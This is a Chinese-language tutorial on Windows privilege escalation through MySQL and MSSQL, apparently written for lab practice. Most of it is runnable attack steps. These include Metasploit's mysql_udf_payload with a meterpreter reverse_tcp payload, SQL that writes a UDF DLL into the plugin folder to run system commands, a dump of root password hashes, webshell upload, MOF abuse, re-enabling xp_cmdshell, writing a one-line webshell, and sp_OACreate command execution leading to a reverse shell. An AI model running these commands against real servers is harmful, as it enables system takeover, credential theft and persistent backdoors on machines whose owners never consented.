windows 提权——数据库提权
一、mysql提权
0X01udf提权
了解UDF
UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展。
通过在udf文件中定义新函数,对MYSQL的功能进行扩充,可以执行系统任意命令,将MYSQL账号root转化为系统system权限。
获取网站数据库账号密码
1.对于CMS,查找配置文件(inc.php/config.php/connect.php)
2.查找Mysql安装目录,在安装目录“/data/mysql/user.myd”中存放了root账号密码,可通过md5解密获得。
3.使用查询语句进行查询
select user,password from mysql.user;
select user,password from mysql.user where user ='root';
使用UDF提权的知识储备
select version(); # 获取数据库版本
select user(); # 获取数据库用户
select @@basedir; # 获取数据库安装目录
show variables like ‘%plugin%’; # 查看plugin路径。
利用条件:
- mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下,该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建MySQL\Lib\Plugin\文件夹,然后将udf.dll导入到该目录。
- mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
- 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。拥有可以将udf.dll写入相应目录的权限。
- 可以将udf.dll写入到相应目录的权限。
- 知道root账号密码
操作方法一 MSF-udf-利用:
在my.ini中添加属性“secure_file_priv = ’ '”
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
因为mysql默认设置是不允许导入导出的;secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限
靶场设置:在phpmyadmin中开启mysql远程连接
执行use mysql;
执行grant all privileges on . to root@‘%’ identified by ‘密码’;
执行flush privileges;
使⽤MSF中的exploit/multi/mysql/mysql_udf_payload 模块可以进⾏UDF提权
- 设置参数,执行导入dll
use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set password root
set rhosts 192.168.191.152 #靶机IP
run
-
使用数据库管理工具navicat连接mysql,执行命令下面命令查看dll是否导入成功,并且新建函数sys_exec
select * from func;
-
sys_exec无回显,使用创建的dll生成自建函数sys_eval
create function sys_eval returns string soname 'vsUZFsjO.dll';
4.执行查询命令
select sys_eval('whoami');
操作方法二 手工导出sqlmap中的dll:
sqlmap中有udf文件,一般在\sqlmap\data\udf\mysql\windows\64目录下存放着lib_mysqludf_sys.dll_
-
将sqlmap中的dll_文件解码为dll;cloak.py目录为:sqlmap/extra/cloak
python cloak.py -d -i lib_mysqludf_sys.dll_ -o udf.dll
-
使用navicat连接本地数据库;将我们的udf.dll文件通过十六机制进行处理;
SELECT HEX(LOAD_FILE('c:/udf.dll')) INTO DUMPFILE 'c:/udf.txt';
- 使用navicat连接靶场数据库,新建一个表,表名为udftmp,用来存放本地传来的udf文件的内容
create table udftmp (udf LONGBLOB);
- 在udftmp中写入udf文件的十六进制内容
INSERT INTO udftmp VALUE(UNHEX("16进制udf.dll文件内容"));
- 将udf文件内容传入新建的udf.dll文件中,路径根据自己的select @@plugin_dir;修改。
SELECT @@plugin_dir;
SELECT udf from udftmp INTO DUMPFILE "C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\udf.dll";
- 执行下面语句,创建函数cmdshell
create function cmdshell returns string soname 'udf.dll';
- 执行命令
select cmdshell ('whoami');
操作方法三 暗月moon.php:
-
利用大马查询mysql版本、数据库用户、安装目录以及plugin路径
-
如果不存在相关路径,可以通过大马进行创建
-
在my.ini中添加属性“secure_file_priv = ’ '”
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
因为mysql默认设置是不允许导入导出的;secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限
-
执行命令,查看mysql版本位数
show variables like '%version_%';
-
上传UDF提权专用shell “/webshell-master/net-friend/php/moon.php”
-
导出udf后提交创建sys_eval命令
- mof提权
- 描述
托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。在 MOF 文件中创建类实例和类定义后,可以对该文件进行编译。编译 MOF 文件将在 CIM 储存库中注册所有的类定义和实 例。之后,提供程序、事件类别和事件信息 便可由 WMI 和 Visual Studio Analyzer 使用。 在 MOF 文件中创建提供程序、事件类别和事件类的实例,并且定义想要分析的自定义对象,之后,就可以对该文 件进行编译
- 原理
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。
其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命
令。
-
影响版本
windows 03及以下版本
-
mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
-
secure-file-priv参数不为null
-
复现
公开的nullevt.mof利用代码
把mof.php上传到脚本 填写命令导出即可
二、mssql提权
mssql的权限划分
-
在 Microsoft SQL Server 中,有一些默认的权限用户。以下是其中一些常见的默认权限用户:
-
sa(System Administrator):这是 SQL Server 的系统管理员账户,拥有最高权限,可以执行任何操作。
完全控制权限:sa 用户具有对 SQL Server 实例的完全控制权限,可以执行任何操作,包括创建、修改和删除数据库实例、配置服务器选项、管理登录名和用户、备份和恢复数据库、授权和撤销权限等。
dbo 角色成员:作为系统管理员,sa 用户默认是所有数据库的 dbo 角色的成员。这意味着 sa 用户具有对每个数据库中的所有对象的完全控制权限。
sysadmin 固定服务器角色:sa 用户自动是 sysadmin 固定服务器角色的成员,该角色是 SQL Server 的预定义角色之一。sysadmin 角色拥有绝大部分系统级权限,可以管理整个服务器
-
dbo(Database Owner):dbo 是每个数据库的所有者,具有对数据库中所有对象(表、视图、存储过程等)的完全控制权限。
-
guest:默认情况下,guest 用户是启用的,但其权限非常有限。通常,guest 用户只能访问数据库中的公共资源,并且没有对其他对象的访问权限。
-
public:public 是所有用户和角色的默认成员。它没有特定权限,只是用于为新用户提供一个基本的访问级别。
mssql下载安装:
mssql提权方法
1.使用xp_cmdshell执行系统命令(sa权限)
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后默认禁止,但未删除
使用navicat连接mssql
判断xp_cmdshell状态
我们可以在master.dbo.sysobjects中查看xp_cmdshell状态,只用判断存在,利用count(*)即可。存在返回 1
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
启用xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;
关闭xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure;
xp_cmdshell被注销了,解决办法:可以先上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell','C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'
执行命令
EXEC master.dbo.xp_cmdshell 'whoami'
利用xp_cmdshell写文件:通过 echo 将一句话木马写入文件,即可连webshell
exec xp_cmdshell 'echo shell>c:\www\1.php'
2. sp_OACreate进行提权:在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权
sp_oacreate 是一个非常危险的存储过程可以删除、复制、移动文件。主要用来调用OLE对象,利用OLE对象的方法执行系统命令。
开启组件:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
关闭组件
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;
执行命令后写入1.txt进行验证
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'
后续可以直接命令执行反弹shell